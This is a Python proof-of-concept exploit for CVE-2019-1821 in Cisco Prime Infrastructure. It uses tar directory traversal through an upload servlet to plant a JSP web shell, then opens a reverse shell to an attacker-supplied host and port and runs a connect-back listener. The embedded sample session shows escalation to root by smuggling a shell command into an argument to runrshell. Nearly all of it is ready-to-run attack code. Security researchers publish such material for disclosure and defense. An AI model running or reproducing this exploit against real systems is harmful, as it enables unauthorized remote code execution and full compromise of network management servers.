#!/usr/bin/python """ Cisco Prime Infrastructure Health Monitor HA TarArchive Directory Traversal Remote Code Execution Vulnerability Steven Seeley (mr_me) of Source Incite - 2019 SRC: SRC-2019-0034 CVE: CVE-2019-1821 Example: ======== saturn:~ mr_me$ ./poc.py (+) usage: ./poc.py (+) eg: ./poc.py 192.168.100.123 192.168.100.2:4444 saturn:~ mr_me$ ./poc.py 192.168.100.123 192.168.100.2:4444 (+) planted backdoor! (+) starting handler on port 4444 (+) connection from 192.168.100.123 (+) pop thy shell! python -c 'import pty; pty.spawn("/bin/bash")' [prime@piconsole CSCOlumos]$ /opt/CSCOlumos/bin/runrshell '" && /bin/sh #' /opt/CSCOlumos/bin/runrshell '" && /bin/sh #' sh-4.1# /usr/bin/id /usr/bin/id uid=0(root) gid=0(root) groups=0(root),110(gadmin),201(xmpdba) context=system_u:system_r:unconfined_java_t:s0 sh-4.1# exit exit exit [prime@piconsole CSCOlumos]$ exit exit exit """ import sys import socket import requests import tarfile import telnetlib from threading import Thread from cStringIO import StringIO from requests.packages.urllib3.exceptions import InsecureRequestWarning requests.packages.urllib3.disable_warnings(InsecureRequestWarning) def _build_tar(ls, lp): """ build the tar archive without touching disk """ f = StringIO() b = _get_jsp(ls, lp) t = tarfile.TarInfo("../../opt/CSCOlumos/tomcat/webapps/ROOT/si.jsp") t.size = len(b) with tarfile.open(fileobj=f, mode="w") as tar: tar.addfile(t, StringIO(b)) return f.getvalue() def _get_jsp(ls, lp): jsp = """<%@page import="java.lang.*"%> <%@page import="java.util.*"%> <%@page import="java.io.*"%> <%@page import="java.net.*"%> <% class StreamConnector extends Thread { InputStream sv; OutputStream tp; StreamConnector( InputStream sv, OutputStream tp ) { this.sv = sv; this.tp = tp; } public void run() { BufferedReader za = null; BufferedWriter hjr = null; try { za = new BufferedReader( new InputStreamReader( this.sv ) ); hjr = new BufferedWriter( new OutputStreamWriter( this.tp ) ); char buffer[] = new char[8192]; int length; while( ( length = za.read( buffer, 0, buffer.length ) ) > 0 ) { hjr.write( buffer, 0, length ); hjr.flush(); } } catch( Exception e ){} try { if( za != null ) za.close(); if( hjr != null ) hjr.close(); } catch( Exception e ){} } } try { String ShellPath = new String("/bin/sh"); Socket socket = new Socket("__IP__", __PORT__); Process process = Runtime.getRuntime().exec( ShellPath ); ( new StreamConnector( process.getInputStream(), socket.getOutputStream() ) ).start(); ( new StreamConnector( socket.getInputStream(), process.getOutputStream() ) ).start(); } catch( Exception e ) {} %>""" return jsp.replace("__IP__", ls).replace("__PORT__", str(lp)) def handler(lp): """ This is the client handler, to catch the connectback """ print "(+) starting handler on port %d" % lp t = telnetlib.Telnet() s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.bind(("0.0.0.0", lp)) s.listen(1) conn, addr = s.accept() print "(+) connection from %s" % addr[0] t.sock = conn print "(+) pop thy shell!" t.interact() def exec_code(t, lp): """ This function threads the client handler and sends off the attacking payload """ handlerthr = Thread(target=handler, args=(lp,)) handlerthr.start() r = requests.get("https://%s/si.jsp" % t, verify=False) def we_can_upload(t, ls, lp): """ This is where we take advantage of the vulnerability """ td = _build_tar(ls, lp) bd = {'files': ('si.tar', td)} h = { 'Destination-Dir': 'tftpRoot', 'Compressed-Archive': "false", 'Primary-IP' : '127.0.0.1', 'Filecount' : "1", 'Filename': "si.tar", 'Filesize' : str(len(td)), } r = requests.post("https://%s:8082/servlet/UploadServlet" % t, headers=h, files=bd, verify=False) if r.status_code == 200: return True return False def main(): if len(sys.argv) != 3: print "(+) usage: %s " % sys.argv[0] print "(+) eg: %s 192.168.100.123 192.168.100.2:4444" % sys.argv[0] sys.exit(-1) t = sys.argv[1] cb = sys.argv[2] if not ":" in cb: print "(+) using default connectback port 4444" ls = cb lp = 4444 else: if not cb.split(":")[1].isdigit(): print "(-) %s is not a port number!" % cb.split(":")[1] sys.exit(-1) ls = cb.split(":")[0] lp = int(cb.split(":")[1]) if we_can_upload(t, ls, lp): print "(+) planted backdoor!" exec_code(t, lp) if __name__ == '__main__': main()